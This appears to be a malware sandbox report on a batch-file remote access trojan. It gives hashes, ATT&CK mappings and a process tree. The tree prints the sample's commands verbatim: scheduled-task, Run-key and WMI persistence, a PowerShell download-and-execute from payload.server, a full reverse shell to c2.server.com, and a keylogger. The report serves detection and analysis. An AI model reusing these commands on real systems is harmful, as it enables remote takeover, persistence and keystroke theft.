5289cfcab1672469d26ac7351dbbfa38e819aa8be974ee22fdd46a236e770497

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:30

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General

Target
rat_build_335507_014838.bat
Size 4KB
Sample260529-bwt29af12v
SHA256 5289cfcab1672469d26ac7351dbbfa38e819aa8be974ee22fdd46a236e770497
MD5 9b900a836ea9d5c7805ed6fcc6ac1c93
SHA1 017f2c0abae1aaa1ed46b0cd53ba07a7ae5f78c9
SHA512 c9461eb166ad21b0f00893ec145791e1269d4d12e05ddc9ea728e9a6e61450d8739f39ceb5bf61ac872d21cc131bd7b32a824ad1f632c414c17c70670cb2be44
SSDEEP 96:6I+HW7yfMPT+q1JlmyCzA9I1f38o6qtUs2Uf5jgllp1iFgZk8mvlo1aC3I:6U7yfi1J246/8I5ja1iFgkHlNC3I
TLSH
T100A1FA176B93712096F12214CA333C48576CF9FB2700C58DFA4DDDE44A4EA47A2596FB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_335507.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
944	powershell.exe
1936	powershell.exe
3924	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_335507 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_335507.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3700	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4628	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
380	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2704	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
944	powershell.exe
944	powershell.exe
944	powershell.exe
1936	powershell.exe
1936	powershell.exe
1936	powershell.exe
3924	powershell.exe
3924	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2440	WMIC.exe
Token: SeSecurityPrivilege	2440	WMIC.exe
Token: SeTakeOwnershipPrivilege	2440	WMIC.exe
Token: SeLoadDriverPrivilege	2440	WMIC.exe
Token: SeSystemProfilePrivilege	2440	WMIC.exe
Token: SeSystemtimePrivilege	2440	WMIC.exe
Token: SeProfSingleProcessPrivilege	2440	WMIC.exe
Token: SeIncBasePriorityPrivilege	2440	WMIC.exe
Token: SeCreatePagefilePrivilege	2440	WMIC.exe
Token: SeBackupPrivilege	2440	WMIC.exe
Token: SeRestorePrivilege	2440	WMIC.exe
Token: SeShutdownPrivilege	2440	WMIC.exe
Token: SeDebugPrivilege	2440	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2440	WMIC.exe
Token: SeRemoteShutdownPrivilege	2440	WMIC.exe
Token: SeUndockPrivilege	2440	WMIC.exe
Token: SeManageVolumePrivilege	2440	WMIC.exe
Token: 33	2440	WMIC.exe
Token: 34	2440	WMIC.exe
Token: 35	2440	WMIC.exe
Token: 36	2440	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2440	WMIC.exe
Token: SeSecurityPrivilege	2440	WMIC.exe
Token: SeTakeOwnershipPrivilege	2440	WMIC.exe
Token: SeLoadDriverPrivilege	2440	WMIC.exe
Token: SeSystemProfilePrivilege	2440	WMIC.exe
Token: SeSystemtimePrivilege	2440	WMIC.exe
Token: SeProfSingleProcessPrivilege	2440	WMIC.exe
Token: SeIncBasePriorityPrivilege	2440	WMIC.exe
Token: SeCreatePagefilePrivilege	2440	WMIC.exe
Token: SeBackupPrivilege	2440	WMIC.exe
Token: SeRestorePrivilege	2440	WMIC.exe
Token: SeShutdownPrivilege	2440	WMIC.exe
Token: SeDebugPrivilege	2440	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2440	WMIC.exe
Token: SeRemoteShutdownPrivilege	2440	WMIC.exe
Token: SeUndockPrivilege	2440	WMIC.exe
Token: SeManageVolumePrivilege	2440	WMIC.exe
Token: 33	2440	WMIC.exe
Token: 34	2440	WMIC.exe
Token: 35	2440	WMIC.exe
Token: 36	2440	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4744	WMIC.exe
Token: SeSecurityPrivilege	4744	WMIC.exe
Token: SeTakeOwnershipPrivilege	4744	WMIC.exe
Token: SeLoadDriverPrivilege	4744	WMIC.exe
Token: SeSystemProfilePrivilege	4744	WMIC.exe
Token: SeSystemtimePrivilege	4744	WMIC.exe
Token: SeProfSingleProcessPrivilege	4744	WMIC.exe
Token: SeIncBasePriorityPrivilege	4744	WMIC.exe
Token: SeCreatePagefilePrivilege	4744	WMIC.exe
Token: SeBackupPrivilege	4744	WMIC.exe
Token: SeRestorePrivilege	4744	WMIC.exe
Token: SeShutdownPrivilege	4744	WMIC.exe
Token: SeDebugPrivilege	4744	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4744	WMIC.exe
Token: SeRemoteShutdownPrivilege	4744	WMIC.exe
Token: SeUndockPrivilege	4744	WMIC.exe
Token: SeManageVolumePrivilege	4744	WMIC.exe
Token: 33	4744	WMIC.exe
Token: 34	4744	WMIC.exe
Token: 35	4744	WMIC.exe
Token: 36	4744	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4744	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 784 wrote to memory of 2704	784	cmd.exe	87
PID 784 wrote to memory of 380	784	cmd.exe	88
PID 784 wrote to memory of 2440	784	cmd.exe	89
PID 784 wrote to memory of 4744	784	cmd.exe	90
PID 784 wrote to memory of 4668	784	cmd.exe	91
PID 784 wrote to memory of 4628	784	cmd.exe	111
PID 784 wrote to memory of 3700	784	cmd.exe	114
PID 784 wrote to memory of 944	784	cmd.exe	115
PID 784 wrote to memory of 1936	784	cmd.exe	116
PID 784 wrote to memory of 3924	784	cmd.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_335507_014838.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:784
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_335507" /tr "C:\Users\Admin\AppData\Local\Temp\_335507.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2704
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_335507" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_335507.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:380
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_335507", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2440
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_335507", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_335507.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4744
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_335507.txt
  2⤵
  PID:4668
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4628
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_335507.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3924

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7a56cccb8e6996c98dc3ca20948995267d276f348ec566b63228c29900fc61fd
MD5 6fc9ea13bf29d2d259b0656fcfbc0ce8
SHA1 1d56ca650c15c0a9978aec02a0f7aa8ba6bc3a90
SHA512 f44c9b3a7d2c77fa204e5377833d80584f28a642e09e3c48c2efb23d7075d5523db6d0f5335bf5fa376d9bbdf9ad3460163c134db81b255c9b252a0fb8186ec6
TLSH
T11B117627F39CC921CC96153A409DAC1172B683DB81AEDF9F6FC4D214A0BF984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 479e30aab9aea527f35a883f9d2564454c5da1b0b512e00442931eee6dd7b4a0
MD5 9b2bec72b86f9fd4436e8d351bc99cdd
SHA1 630726346b61fcc2329944c935413d9f75b0c9cb
SHA512 fdfa2395e0d8751aa13b8bb7fa4ab329f20445e435bb8b005083b3d86c5d8bd67977e74d3b8b6f31a4b1f4d52aeeafc8e568d2c21ede254f18f55c730821629e
TLSH
T1A6115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_wvpju05p.s5n.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wvpju05p.s5n.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/944-10-0x00000261D9040000-0x00000261D9062000-memory.dmp

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